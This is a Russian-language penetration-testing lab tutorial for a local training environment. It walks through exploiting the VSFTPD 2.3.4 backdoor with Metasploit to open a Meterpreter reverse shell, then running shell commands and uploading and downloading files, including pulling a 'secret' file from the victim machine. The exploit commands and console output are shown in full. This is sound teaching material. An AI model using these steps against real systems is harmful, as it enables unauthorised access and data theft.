Основы постэксплуатации в Metasploit

LinuxBeginner
Практиковаться сейчас

Введение

В этой лабораторной работе вы изучите основы постэксплуатации с использованием фреймворка Metasploit. Сначала вы получите первоначальный доступ, эксплуатируя уязвимый FTP-сервер для создания сессии Meterpreter. Затем вы перейдете к этапу постэксплуатации. Цель этого этапа — исследование скомпрометированной системы, повышение привилегий и извлечение данных.

Вы отработаете основные команды Meterpreter для взаимодействия с сессией, выполнения команд оболочки (shell) и передачи файлов между машиной атакующего и жертвы. Эта лабораторная работа проведет вас от начального эксплойта до базовых методов постэксплуатации.

Получение первоначального доступа

На этом этапе вы получите доступ к целевой системе, эксплуатируя бэкдор в службе VSFTPD 2.3.4. Это даст вам сессию Meterpreter для дальнейшей постэксплуатации.

Сначала запустите консоль Metasploit Framework.

msfconsole -q

После запуска Metasploit выберите эксплойт для бэкдора VSFTPD 2.3.4.

use exploit/unix/ftp/vsftpd_234_backdoor

Теперь настройте параметры цели и полезной нагрузки (payload). Поскольку служба запущена на той же машине, мы используем loopback IP. Полезная нагрузка по умолчанию требует настройки LHOST и может выдать ошибку "All encoders failed to encode" — установите кодировщик, чтобы избежать этого:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

Наконец, запустите эксплойт.

exploit

УСТРАНЕНИЕ НЕПОЛАДОК: Если вы видите ошибку Msf::OptionValidateError One or more options failed to validate: LHOST, выполните set LHOST 127.0.0.1. Если вы видите All encoders failed to encode, выполните set Encoder generic/none. Затем снова запустите exploit.

ПРЕДУПРЕЖДЕНИЕ: Первая попытка может завершиться неудачей с сообщением "Unable to connect to backdoor on 6200/TCP. Cooldown?" или "Exploit completed, but no session was created." Если это произошло, просто запустите команду exploit еще раз — вторая попытка должна быть успешной.

В случае успеха будет открыта сессия Meterpreter (сессия 1).

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

Теперь у вас есть сессия Meterpreter. Чтобы вернуться к приглашению msf > для следующего шага, нажмите Ctrl+Z, а затем y, когда появится вопрос "Background session 1?".

Взаимодействие с сессией Meterpreter

Теперь, когда у вас есть сессия Meterpreter в фоновом режиме, вы узнаете, как с ней взаимодействовать. Команда sessions выводит список всех активных сессий и работает только в основном приглашении Metasploit (msf exploit(...) >), а не внутри Meterpreter.

Чтобы увидеть активные сессии, выполните:

sessions

Вы должны увидеть свою сессию Meterpreter с ID 1.

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

Для взаимодействия с сессией 1 выполните:

sessions -i 1

Ваше приглашение изменится на meterpreter >, что означает, что вы находитесь внутри сессии.

[*] Starting interaction with 1...

meterpreter >

Теперь вы готовы выполнять команды постэксплуатации изнутри Meterpreter.

Выполнение команд оболочки с помощью shell

Изнутри Meterpreter вы можете перейти в стандартную системную оболочку для выполнения команд на целевой машине. Это полезно, когда вам нужно запустить специфические команды оболочки или скрипты.

В приглашении meterpreter > введите:

shell

На удаленной цели откроется стандартная оболочка. Приглашение может на мгновение зависнуть, но вы уже находитесь в системной оболочке и можете выполнять команды напрямую.

Process 1654 created.
Channel 1 created.

Выполните whoami, чтобы подтвердить контекст вашего пользователя:

whoami
labex

Введите exit, чтобы вернуться в приглашение Meterpreter.

exit

Ваше приглашение снова изменится на meterpreter >. На следующем шаге вы будете использовать эту сессию для загрузки файла на целевую машину.

Загрузка файла с помощью upload /local/path /remote/path

Команда upload в Meterpreter передает файлы с вашей локальной машины на целевую. Файл с именем local_file.txt находится в /home/labex/project. Загрузите его в /tmp на удаленной машине.

В приглашении meterpreter > выполните:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

Вы увидите вывод, подтверждающий загрузку:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

В этой лабораторной работе цель запущена на той же машине, поэтому файл появится по пути /tmp/uploaded_file.txt. Далее вы отработаете обратную операцию: скачивание файла с целевой машины.

Скачивание файла с помощью download /remote/path /local/path

Команда download передает файлы с целевой машины на вашу локальную. Файл с именем secret_data.txt находится в /tmp на удаленной системе. Скачайте его в свою директорию проекта.

В приглашении meterpreter > выполните:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

Вы увидите вывод, подтверждающий скачивание. Meterpreter может создать директорию с именем downloaded_secret.txt и поместить файл внутрь нее как secret_data.txt.

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

Теперь файл находится на вашей локальной машине. На последнем шаге вы закроете сессию и проверите скачанное содержимое.

Завершение сессии с помощью команды exit

На этом последнем шаге вы закроете сессию Meterpreter и выйдете из консоли Metasploit.

В приглашении meterpreter > введите exit, чтобы закрыть сессию.

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

Чтобы выйти из консоли Metasploit, введите exit. Если появится запрос об активной сессии, используйте exit -y для принудительного выхода.

exit -y

Проверьте скачанный файл. Как отмечалось ранее, Meterpreter мог создать директорию; файл находится по пути downloaded_secret.txt/secret_data.txt:

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

Поздравляем! Вы выполнили полный рабочий процесс эксплуатации и постэксплуатации.

Резюме

В этой лабораторной работе вы изучили полный рабочий процесс от получения первоначального доступа до постэксплуатации. Вы начали с получения сессии Meterpreter через эксплойт. Вы научились выводить список сессий и взаимодействовать с ними, получать стандартную системную оболочку из Meterpreter, а также освоили передачу файлов между машиной атакующего и жертвы с помощью команд upload и download. Наконец, вы узнали, как правильно закрывать сессию и выходить из консоли Metasploit. Эти навыки являются фундаментальными для тестирования на проникновение.